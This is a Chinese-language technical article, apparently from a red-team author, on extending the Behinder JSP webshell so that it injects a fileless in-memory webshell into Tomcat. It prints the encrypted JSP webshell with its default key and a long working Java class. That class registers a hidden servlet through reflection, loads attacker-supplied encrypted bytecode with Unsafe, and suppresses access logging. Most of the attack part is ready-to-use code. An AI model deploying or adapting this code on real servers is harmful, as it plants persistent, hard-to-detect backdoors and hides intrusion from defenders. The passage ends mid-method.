作者:Skay @ QAX A-TEAM
原文鏈接:https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g

在冰蝎原代碼基礎上,增加了內存馬注入的支持。 這里我們只討論以JSP方式注入內存馬,不涉及與反序列化漏洞利用結合。

一、冰蝎源碼簡析及修改(JSP相關)

1.冰蝎JSP Webshell 工作原理

冰蝎利用動態二進制加密實現新型一句話木馬的思路很好的解決了菜刀等webshell工具被查殺的問題。首先我們看下服務端

<%@page?import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class?U?extends?ClassLoader{
????U(ClassLoader?c){super(c);
????}
????public?Class?g(byte?[]b){
????????return?super.defineClass(b,0,b.length);
????}
}%>
<%if?(request.getMethod().equals("POST")){
????String?k="1a1dc91c907325c6";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/
    session.putValue("u",k);
????Cipher?c=Cipher.getInstance("AES");
????c.init(2,new?SecretKeySpec(k.getBytes(),"AES"));
????new?U(this.getClass().getClassLoader()).g(c.doFinal(new?sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>

第一段代碼塊創建了U類繼承 ClassLoader ,然后自定義一個名為 g 的方法,接收字節數組類型的參數并調用父類的 defineClass 動態解析字節碼返回 Class 對象,然后實例化該類并調用equals方法,傳入 jsp 上下文中的pageContext 對象。其中 bytecode 就是由冰蝎客戶端發送至服務端的字節碼,獲取到客戶端發來的請求后,獲取post的值,先解密,然后base64解碼,獲取一段byte[],然后調用difineClass,獲取到一個Class,將其newInstance后,獲取到類,該類中重寫了 equals 方法,equals方法只接受一個參數,也就是pageContext,其實這也夠了,只要傳遞pageContext進去,便可以間接獲取Request、Response、Seesion等對象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();最后進行結果的返回。

2.冰蝎源碼簡要分析(JSP)

我們的目的是實現JSP版本的內存馬注入,所以源碼我們也只看,JSP相關部分。

(1) 目錄結構

首先對目錄有個概覽

圖片

第一次接觸冰蝎源碼,是之前一次嘗試去除2.0版本的特征,密鑰交換步驟,去除冰蝎密鑰交換步驟很簡單,修改Utils getKeyAndCooiek方法,暴力一點,直接注釋掉,將交換密鑰寫死在shell里?。

圖片

接下來將關注點回到3.0,上面分析JSP Webshell提到客戶端會發給服務端一個加密后的數據,服務端解密后,得到一段byte[] 數據,再調用defineClass會得到一個Class,這個Class,我們是可以在冰蝎源碼里找到的,在payload/java文件夾下

圖片

當冰蝎shell建立連接后,攻擊者調用不同的功能時,每個功能與上面的文件一一對應,其實這么說不嚴謹,建立連接時,也會調用Echo.java 以及 BasicInfo.java

(2) shell連接流程

我們來跟下建立連接的流程

首先是入口net.rebeyond.behinder.ui.controller.MainWindowController,

圖片

跟進doConnect:184, ShellService,可以看到首先判斷shell的連接類型,我們這里是Jsp,

圖片

在這段代碼中可以看到,是通過調用echo方法來檢測連接是否成功建立

obj = this.echo(content);
if (obj.getString("msg").equals(content)) {
    result = true;
}

我們跟進this.echo方法 echo:964, ShellService 圖片

echo方法很好的舉例說明了,冰蝎內部是怎樣將payload代碼進編譯成class文件,然后加密,發送到服務端進行動態執行。

echo方法執行完畢程序邏輯又回到doConnect:186, ShellService,可以看到返回true,說明連接成功,這里說明一點,如果連接不成功,冰蝎會進入2.0版本的常規密鑰協商流程,這也算是對2.0的一個兼容吧。

圖片

doConnect方法執行結束后,回到lambda$1:110, MainWindowController 調用getBasicInfo,獲取基本信息,對應在payload里面就是BasicInfo.java文件

圖片

圖片

getBascicInfo后,初始化各個功能,初始連接過程結束

圖片

圖片

到此簡歷連接完畢

(3) 冰蝎動態編譯成字節碼實現原理

冰蝎客戶端是將java代碼動態編譯成字節碼,然后加密發送給服務端,以BasicInfo.java 為例

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package net.rebeyond.behinder.payload.java;
public class BasicInfo {
    public static String whatever;
    public BasicInfo() {
    }
    public boolean equals(Object obj) {
        PageContext page = (PageContext)obj;
        page.getResponse().setCharacterEncoding("UTF-8");
        String result = "";
        try {
           ........
        } catch (Exception var15) {
            var15.printStackTrace();
        }
        return true;
    }
    public static byte[] Encrypt(byte[] bs, String key) throws Exception {
       ....
        return encrypted;
    }
    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
        .......
        return sb.toString();
    }
}

BasicInfo中存在public static變量,客戶端動態構造服務端執行的代碼時傳進去的,通過params參數傳遞

public String getBasicInfo(String whatever) throws Exception {
    String result = "";
    Map<String, String> params = new LinkedHashMap();
    params.put("whatever", whatever);
    byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);
    Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
    byte[] resData = (byte[])((byte[])resultObj.get("data"));
    try {
        result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
        return result;
    } catch (Exception var8) {
        var8.printStackTrace();
        throw new Exception("請求失敗:" + new String(resData, "UTF-8"));
    }
}

對應上文JSP Webshell工作原理的分析,客戶端動態構造完畢java代碼后,將Java代碼,也就是整個BasicInfo類編譯為字節碼加密發送給服務端。服務端通過defineClass->newInstance獲取到BasicInfo對象,調用BasicInfo的equal方法,將參數obj,也就是PageContext傳進去,這樣就可以獲取request Resopose Session等對象,然后進一步執行equal中的代碼邏輯,將執行結果寫入response,并加密返回給客戶端。

3.修改

邏輯原理分析完畢,總結一句話就是冰蝎的服務端提供了一個執行任意java代碼的環境。所以修改方式就是將我們內存馬注入的邏輯代碼直接發送給服務端即可,也就是放到equal方法中。

注入內存馬屬于給冰蝎增加了一個功能,分為三步實現需求

  • 新增功能后修改UI部分
  • 跟進冰蝎內部功能調用代碼,調用我們新增功能
  • 更改equal方法實現內存馬注入

(1) 新增功能后修改UI部分

冰蝎各個功能的初始化是在net.rebeyond.behinder.ui.controller.MainWindowController中,這里我為了不整個修改fxml文件,直接將平行空間功能修改為內存馬注入

圖片

然后用idea自帶的ui編輯器拖拽繪圖既可

圖片

(2) 調用新增功能

先來跟下冰蝎調用功能時的調用棧...好短

lambda$1:64, ParallelViewController (net.rebeyond.behinder.ui.controller)
run:-1, 392926346 (net.rebeyond.behinder.ui.controller.ParallelViewController$$Lambda$595)
run:745, Thread (java.lang)

其實,冰蝎幾乎將所有的功能模塊準備都放在了初始化當中 圖片

我們只需要修改ParallelViewController,將按鈕監聽事件(注入內存馬按鈕)在初始化時啟動監聽即可。

圖片

現在,成功監聽了按鈕事件,如何控制當前連接的shell,注意一個變量this.currentShellService,它代表了當前的shell連接

圖片

即ShellService類,我們只需在ShellService中新建方法getInjectwebshell即可,

并將內存馬的密碼及路徑參數傳進去,供冰蝎動態構造需要在服務端執行的java代碼

圖片

最后就是調用payload/java 目錄下的具體功能了,我們需要在payload目錄下新建相應的功能文件Injectwebshell_tomcat,然后冰蝎編譯,加密發送到服務端。

getInjectwebshell關鍵代碼

byte[] data = Utils.getData(this.currentKey, this.encryptType, "Injectwebshell_tomcat_skay", params, this.currentType);
Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);

(3) 更改equal方法實現內存馬注入

最后就是實現我們Injectwebshell_tomcat,跟其它功能文件相同,只需將代碼注入邏輯放在equals方法中即可,具體代碼注入邏輯根據中間件不同,實現邏輯也有區別

圖片

PS:內存馬的連接

內存馬注入成功后,最好是使用原來的冰蝎是可以連接的,其實就是把原冰蝎的JSP服務端修改成java邏輯,放在目標服務器內存中運行即可。因為Tomcat、Weblogic都是通過動態注冊Filter方式實現內存馬注入,所以最終冰蝎服務端邏輯將在Filter中的doFilter方法中。

為了區別與普通JSP Webshell,動態注入的內存馬將不再調用equal方法,修改為fuck方法

圖片

同時,客戶端各個功能也需要相應增加fuck方法的實現邏輯

圖片

二、Tomcat 內存馬注入

根據網上公開的思路,Tomcat內存馬注入有兩種思路,動態注冊Servlet,動態注冊Filter,在這里我們只討論Filter方式注入內存馬。

1.分析環境準備

參考鏈接https://mp.weixin.qq.com/s/DMVcqtiNG9gMdrBUyCRCgw

2.Tomcat Filter流程分析

(1) Filter簡介

Filter 程序是一個實現了 Filter 接口的 Java 類,與 Servlet 程序相似,它由 Servlet容器進行調用和執行。這個 Servlet 過濾器就是我們的 filter,當在 web.xml 中注冊了一個 Filter 來對某個 Servlet 程序進行攔截處理時,這個Filter 就成了 Tomcat 與該 Servlet 程序的通信線路上的一道關卡,該 Filter 可以對Servlet 容器發送給 Servlet 程序的請求和 Servlet 程序回送給 Servlet 容器的響應進行攔截,可以決定是否將請求繼續傳遞給 Servlet 程序,以及對請求和相應信息是否進行修改。

圖片

(2) Tomcat filter?源碼分析

分析之前列出組裝過濾器時涉及到的幾個核心類及其功能

  • Filter過濾器接口一個 Filter 程序就是一個 Java 類,這個類必須實現 Filter 接口。javax.servlet.Filter 接口中定義了三個方法:init(Web 容器創建 Filter 的實例對象后,將立即調用該 Filter 對象的 init 方法)、doFilter(當一個 Filter 對象能夠攔截訪問請求時,Servlet 容器將調用 Filter 對象的 doFilter 方法)、destory(該方法在 Web 容器卸載 Filter 對象之前被調用)。
  • FilterChain過濾器鏈 FilterChain 對象中有一個 doFilter() 方法,該方法的作用是讓 Filter 鏈上的當前過濾器放行,使請求進入下一個 Filter.Filter和FilterChain密不可分, Filter可以實現依次調用正是因為有了FilterChain
  • FilterConfig過濾器的配置,與普通的 Servlet 程序一樣,Filter 程序也很可能需要訪問 Servlet 容器。Servlet 規范將代表 ServletContext 對象和 Filter 的配置參數信息都封裝到一個稱為 FilterConfig 的對象中。FilterConfig 接口則用于定義 FilterConfig 對象應該對外提供的方法,以便在 Filter 程序中可以調用這些方法來獲取 ServletContext 對象,以及獲取在 web.xml 文件中為 Filter 設置的友好名稱和初始化參數。
  • FilterDef過濾器的配置和描述
  • ApplicationFilterChain調用過濾器鏈
  • ApplicationFilterConfig獲取過濾器
  • ApplicationFilterFactory組裝過濾器鏈

還有幾個比較重要的類

  • WebXml從名字我們可以就看出來這個一個存放web.xml中內容的類
  • ContextConfig一個web應用的上下文配置類
  • StandardContext一個web應用上下文(Context接口)的標準實現
  • StandardWrapperValve一個標準Wrapper的實現。一個上下文一般包括一個或者多個包裝器,每一個包裝器表示一個servlet。

Filter的配置在web.xml中,Tomcat會首先通過ContextConfig創建WebXML的實例來解析web.xml,先跳過這個部分,直接將關注點放在StandardWrapperValve,在這里會進行過濾器的組裝操作。

首先,創建了一個應用過濾器鏈

圖片

我們跟進這個方法,整個應用過濾器鏈條的組裝過程清晰的展現在面前,最終將filterChain返回

圖片

filterMaps是filtermap的數組,我們觀察下filtermap的數據結構

圖片

FilterMap存放了Filter的名稱和需要攔截的url的正則表達式 繼續往下分析代碼,遍歷FilterMap中每一項,調用matchFiltersURL這個函數,去確定請求的url和Filter中需要攔截的正則表達式是否匹配

圖片

如果匹配通過,則通過context.findFilterConfig方法去查找filter對應的名稱 繼續往下走,我們現在獲取到了filterConfig(ApplicationFilterChain),它的結構如下,里面有filterdef 以及filter對象

圖片

最后將filterconfig放到filterChain中,這里再看下filterChain.addFilter(filterConfig);方法

圖片

至此,filterChain組裝完畢,回到org.apache.catalina.core.StandardWrapperValve,執行doFilter 執行過濾器

圖片

我們跟進org.apache.catalina.core.ApplicationFilterChain的doFilter方法中,它其實時調用了internalDoFilter,直接看internalDoFilter

圖片

Filter結束調用,拉閘~

最后借用寬字節表哥的一張圖做一個總結

圖片

(3) 實現filter注入

對Tomcat處理filter有了一個清晰的了解之后,現在目的是實現filter動態注入,回憶一下剛才Tomcat處理FIlter的流程,并且關注一下context變量,也就是StandardContext的三個成員變量

圖片

StandardContext為web應用上下文變量,其中有三個成員變量和filter相關

  • filterConfigs:filterConfig的數組 filterconfig里面有filterdef 以及filter對象
  • filterRefs:filterRef的數組 FilterDef的作用主要為描述filter的字符串名稱與Filter實例的關系
  • filterMaps:filterMap的數組(FilterMap中存放了所有filter相關的信息包括filterName和urlPattern。有了這些之后,使用matchFiltersURL函數將每個filter和當前URL進行匹配,匹配成功的通過) filterConfig我們看過,這里注意,filterConfig.filterRef實際和context.filterRef指向的地址一樣,也就是同一個東西

設法修改這三個變量,也許就能實現目的。

查看StandardContext源碼,

  • StandardContext.addFilterDef()可以修改filterRefs
  • StandardContext.filterStart()函數會根據filterDef重新生成filterConfigs
  • 至于filtermaps,直接本地new一個filter插入到數組第一位即可

首先是修改filterRefs和filterConfigs

Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);

然后修改filtermaps 圖片

還需要注意一點,直接調用addfilter會出現異常,因為對于context對象會做一些校驗,

if (!context.getState().equals(LifecycleState.STARTING_PREP)) {
    //TODO Spec breaking enhancement to ignore this restriction
    throw new IllegalStateException(
            sm.getString("applicationContext.addFilter.ise",
                    getContextPath()));
}

需要修改下狀態

Field stateField = org.apache.catalina.util.LifecycleBase.class
        .getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

addfilter執行完畢后,需要將狀態改回來

stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);

1.從pagecontext中獲取context

到這里,我們已經成功修改了context對象,最后一個問題,context對象我們怎么獲取。

回憶一下,動態注入filter的代碼邏輯是冰蝎本地編譯號字節碼在服務端執行的,也就是equal方法中,equal方法接收一個參數,pagecontext,從這個對象中我們可以成功取到StandardContext對象!

ServletContext servletContext = page.getServletContext();
//            System.out.println(servletContext);
            //獲取ApplicationContext
            Field field = servletContext.getClass().getDeclaredField("context");
            field.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
            //獲取StandardContext
            field = applicationContext.getClass().getDeclaredField("context");
            field.setAccessible(true);
            StandardContext standardContext = (StandardContext) field.get(applicationContext);

綜上,我們Tomcat 基于JSP方式動態注入filter實現完畢。 集成到冰蝎里inject_tomcat代碼如下:

參考了很多哥斯拉的思路 超級感謝北辰師傅

package net.rebeyond.behinder.payload.java;
//import com.sun.beans.decoder.FieldElementHandler;
import org.apache.catalina.Container;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import sun.misc.Unsafe;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import javax.servlet.jsp.PageContext;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;

public class Injectwebshell_tomcat6 extends ClassLoader implements Servlet  {
    public static String url;
    public static String password;
    public static String filtername;
    private ServletRequest Request;
    private ServletResponse Response;
    private HttpSession Session;
    public Injectwebshell_tomcat6() {}
    public boolean fuck(String k, ServletRequest request, ServletResponse response, HttpSession session){
//        PageContext page = (PageContext)obj;
        PageContext page = null;
        this.Session = page.getSession();
        this.Response = page.getResponse();
        this.Request = page.getRequest();

//        System.out.println("ffffffffffffffffffffffffffffffffffffff");
        String filterUrlPattern = url;
        String filterName = filtername;
//        String pass = password;
//        System.out.println(url+"   "+myfilter_string);
//        System.out.println(url+"   ");
        try {
            ServletContext servletContext = page.getServletContext();
//            ServletContext servletContext = (ServletContext) field.get(standardContext);
//            System.out.println("11111");
//            System.out.println(servletContext);
            //獲取ApplicationContext
            Field field = servletContext.getClass().getDeclaredField("context");
            field.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
            //獲取StandardContext
            field = applicationContext.getClass().getDeclaredField("context");
            field.setAccessible(true);
            StandardContext standardContext = (StandardContext) field.get(applicationContext);
            if (standardContext != null) {
                //修改狀態,要不然添加不了
                Field stateField = org.apache.catalina.util.LifecycleBase.class
                        .getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                //創建一個自定義的Servlet馬
                Servlet my_servlet = new Injectwebshell_tomcat6();
                //添加Servlet馬
                standardContext.getClass().getDeclaredMethod("addChild", Container.class).invoke(standardContext,my_servlet);
                Method method;
                try {
                    method = standardContext.getClass().getMethod("addServletMappingDecoded", String.class, String.class);
                }catch (Exception e){
                    method = standardContext.getClass().getMethod("addServletMapping", String.class, String.class);
                }
                method.invoke(standardContext,filterUrlPattern,filterName);
//                if (getMethodByClass(my_servlet.getClass(),"setServlet",Servlet.class) == null){
//                    init((ServletConfig)getFieldValue())
//                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return true;
    }



    public boolean equals(Object obj) {
        PageContext page = (PageContext)obj;
        this.Session = page.getSession();
        this.Response = page.getResponse();
        this.Request = page.getRequest();

//        System.out.println("666666666666666666666666666666666666666666666f");
        String filterUrlPattern = url;
        String filterName = filtername;
//        String pass = password;
//        System.out.println(url+"   "+myfilter_string);
//        System.out.println(url+"   ");
        try {
            ServletContext servletContext = page.getServletContext();
//            System.out.println(servletContext);
            //獲取ApplicationContext
            Field field = servletContext.getClass().getDeclaredField("context");
            field.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
            //獲取StandardContext
            field = applicationContext.getClass().getDeclaredField("context");
            field.setAccessible(true);
            StandardContext standardContext = (StandardContext) field.get(applicationContext);
            if (standardContext != null) {
                Object o = getFieldValue(standardContext.getServletContext(), "context");
                Object newWrapper = this.invoke(standardContext, "createWrapper", (Object[])null);
                this.invoke(newWrapper, "setName", filterName);
                setFieldValue(newWrapper, "instance", this);
                Class containerClass = Class.forName("org.apache.catalina.Container", false, standardContext.getClass().getClassLoader());
                Object oldWrapper = this.invoke(standardContext, "findChild", filterName);
                if (oldWrapper != null) {
                    standardContext.getClass().getDeclaredMethod("removeChild", containerClass);
                }
                standardContext.getClass().getDeclaredMethod("addChild", containerClass).invoke(standardContext, newWrapper);
                Method method;
                try {
                    method = standardContext.getClass().getMethod("addServletMappingDecoded", String.class, String.class);
                } catch (Exception var9) {
                    method = standardContext.getClass().getMethod("addServletMapping", String.class, String.class);
                }
                method.invoke(standardContext, filterUrlPattern, filterName);
                if (this.getMethodByClass(newWrapper.getClass(), "setServlet", Servlet.class) == null) {
                    this.transform(standardContext, filterUrlPattern);
                    this.init((ServletConfig)getFieldValue(newWrapper, "facade"));
                }
            }
        } catch (Exception e) {
//            e.printStackTrace();
        }
        return true;
    }



    @Override
    public void init(ServletConfig servletConfig) throws ServletException {
    }
    @Override
    public ServletConfig getServletConfig() {
        return null;
    }
    @Override
    public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
//        System.out.println("Servlet被執行了....\n");
        String k= password;
        boolean test = false;
        try{
            HttpSession session = ((HttpServletRequest) req).getSession();
            session.putValue("u",k);
            Cipher c = Cipher.getInstance("AES");
            c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
            String reader = req.getReader().readLine();
//            System.out.println(reader);
//            System.out.println("\n\n\n this is reader\n\n");
            byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(reader));
            try {
                test = null != Class.forName("net.rebeyond.behinder.core.U");
            } catch (Throwable t) {
                test = false;
            }
            if (test) {
                Class Uclass = Class.forName("net.rebeyond.behinder.core.U");
                System.out.println(Uclass.getClass());
                Constructor tt = Uclass.getDeclaredConstructor(ClassLoader.class);
                tt.setAccessible(true);
                Object xx = tt.newInstance(this.getClass().getClassLoader());
                Method tt1 = Uclass.getDeclaredMethod("g", byte[].class);
                tt1.setAccessible(true);
                Class evilClass = (Class) tt1.invoke(xx, evilClassBytes);
                Object a = evilClass.newInstance();
                Method b = evilClass.getDeclaredMethod("fuck", String.class, ServletRequest.class, ServletResponse.class, HttpSession.class);
                b.invoke(a, k, req, resp, session);
                return;
            }else{
                //這里解決了 好開心
                byte[] Uclassbate = new byte[] {-54, -2, -70, -66, 0, 0, 0, 51, 0, 26, 10, 0, 4, 0, 20, 10, 0, 4, 0, 21, 7, 0, 22, 7, 0, 23, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 26, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 59, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 30, 76, 110, 101, 116, 47, 114, 101, 98, 101, 121, 111, 110, 100, 47, 98, 101, 104, 105, 110, 100, 101, 114, 47, 99, 111, 114, 101, 47, 85, 59, 1, 0, 1, 99, 1, 0, 23, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 59, 1, 0, 1, 103, 1, 0, 21, 40, 91, 66, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 1, 0, 1, 98, 1, 0, 2, 91, 66, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 6, 85, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 12, 0, 24, 0, 25, 1, 0, 28, 110, 101, 116, 47, 114, 101, 98, 101, 121, 111, 110, 100, 47, 98, 101, 104, 105, 110, 100, 101, 114, 47, 99, 111, 114, 101, 47, 85, 1, 0, 21, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 1, 0, 11, 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115, 1, 0, 23, 40, 91, 66, 73, 73, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 0, 32, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 0, 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 62, 0, 2, 0, 2, 0, 0, 0, 6, 42, 43, -73, 0, 1, -79, 0, 0, 0, 2, 0, 8, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 5, 0, 6, 0, 9, 0, 0, 0, 22, 0, 2, 0, 0, 0, 6, 0, 10, 0, 11, 0, 0, 0, 0, 0, 6, 0, 12, 0, 13, 0, 1, 0, 1, 0, 14, 0, 15, 0, 1, 0, 7, 0, 0, 0, 61, 0, 4, 0, 2, 0, 0, 0, 9, 42, 43, 3, 43, -66, -73, 0, 2, -80, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 8, 0, 9, 0, 0, 0, 22, 0, 2, 0, 0, 0, 9, 0, 10, 0, 11, 0, 0, 0, 0, 0, 9, 0, 16, 0, 17, 0, 1, 0, 1, 0, 18, 0, 0, 0, 2, 0, 19};
                Field field = Unsafe.class.getDeclaredField("theUnsafe");
                field.setAccessible(true);
                Unsafe unsafe = (Unsafe)field.get(Unsafe.class);
                Class Uclass = unsafe.defineClass("net.rebeyond.behinder.core.U",Uclassbate,0,Uclassbate.length,null, null);
                Constructor tt = Uclass.getDeclaredConstructor(ClassLoader.class);
                tt.setAccessible(true);
                Object xx = tt.newInstance(this.getClass().getClassLoader());
                Method Um = Uclass.getDeclaredMethod("g",byte[].class);
                Um.setAccessible(true);
                Class evilclass = (Class) Um.invoke(xx,evilClassBytes);
                Object a = evilclass.newInstance();
                Method b = evilclass.getDeclaredMethod("fuck",String.class,ServletRequest.class, ServletResponse.class,HttpSession.class);
                b.invoke(a, k,req, resp,session);
                return;
            }
        } catch (Exception e) {
            e.printStackTrace();//實際中這里注釋掉 調試用
        }
    }
    @Override
    public String getServletInfo() {
        return null;
    }
    @Override
    public void destroy() {
    }
    Object invoke(Object obj, String methodName, Object... parameters) {
        try {
            ArrayList classes = new ArrayList();
            if (parameters != null) {
                for(int i = 0; i < parameters.length; ++i) {
                    Object o1 = parameters[i];
                    if (o1 != null) {
                        classes.add(o1.getClass());
                    } else {
                        classes.add((Object)null);
                    }
                }
            }
            Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[0]));
            return method.invoke(obj, parameters);
        } catch (Exception var7) {
            return null;
        }
    }
    Method getMethodByClass(Class cs, String methodName, Class... parameters) {
        Method method = null;
        while(cs != null) {
            try {
                method = cs.getDeclaredMethod(methodName, parameters);
                cs = null;
            } catch (Exception var6) {
                cs = cs.getSuperclass();
            }
        }
        return method;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field f = null;
        if (obj instanceof Field) {
            f = (Field)obj;
        } else {
            f = obj.getClass().getDeclaredField(fieldName);
        }
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field f = null;
        if (obj instanceof Field) {
            f = (Field)obj;
        } else {
            Method method = null;
            Class cs = obj.getClass();
            while(cs != null) {
                try {
                    f = cs.getDeclaredField(fieldName);
                    cs = null;
                } catch (Exception var6) {
                    cs = cs.getSuperclass();
                }
            }
        }
        f.setAccessible(true);
        return f.get(obj);
    }
    private void transform(Object standardContext, String path) throws Exception {
        Object containerBase = this.invoke(standardContext, "getParent", (Object[])null);
        Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader());
        Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners");
        listenersField.setAccessible(true);
        ArrayList listeners = (ArrayList)listenersField.get(containerBase);
        for(int i = 0; i < listeners.size(); ++i) {
            Object mapperListener_Mapper = listeners.get(i);
            if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) {
                Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper");
                Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts");
                for(int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) {
                    Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j);
                    Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList");
                    Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts");
                    for(int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) {
                        Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k);
                        if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) {
                            new ArrayList();
                            Object standardContext_Mapper = this.invoke(standardContext, "getMapper", (Object[])null);
                            Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context");
                            Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers");
                            Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers");
                            int l;
                            Object Mapper_Wrapper;
                            Method addWrapperMethod;
                            for(l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) {
                                Mapper_Wrapper = Array.get(mapperListener_Mapper_hosts_contextList_context_exactWrappers, l);
                                if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
                                    addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("removeWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class);
                                    addWrapperMethod.setAccessible(true);
                                    addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path);
                                }
                            }
                            for(l = 0; l < Array.getLength(standardContext_Mapper_Context_exactWrappers); ++l) {
                                Mapper_Wrapper = Array.get(standardContext_Mapper_Context_exactWrappers, l);
                                if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
                                    addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("addWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class, Object.class);
                                    addWrapperMethod.setAccessible(true);
                                    addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path, getFieldValue(Mapper_Wrapper, "object"));
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    private void noLog(PageContext pc) {
        try {
            Object applicationContext = getFieldValue(pc.getServletContext(), "context");
            Object container = getFieldValue(applicationContext, "context");
            ArrayList arrayList;
            for(arrayList = new ArrayList(); container != null; container = this.invoke(container, "getParent", (Object[])null)) {
                arrayList.add(container);
            }
            label51:
            for(int i = 0; i < arrayList.size(); ++i) {
                try {
                    Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null);
                    if (pipeline != null) {
                        Object valve = this.invoke(pipeline, "getFirst", (Object[])null);
                        while(true) {
                            while(true) {
                                if (valve == null) {
                                    continue label51;
                                }
                                if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) {
                                    String condition = (String)this.invoke(valve, "getCondition");
                                    condition = condition == null ? "FuckLog" : condition;
                                    this.invoke(valve, "setCondition", condition);
                                    pc.getRequest().setAttribute(condition, condition);
                                    valve = this.invoke(valve, "getNext", (Object[])null);
                                } else if (Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) {
                                    valve = this.invoke(valve, "getNext", (Object[])null);
                                } else {
                                    valve = null;
                                }
                            }
                        }
                    }
                } catch (Exception var9) {
                }
            }
        } catch (Exception var10) {
        }
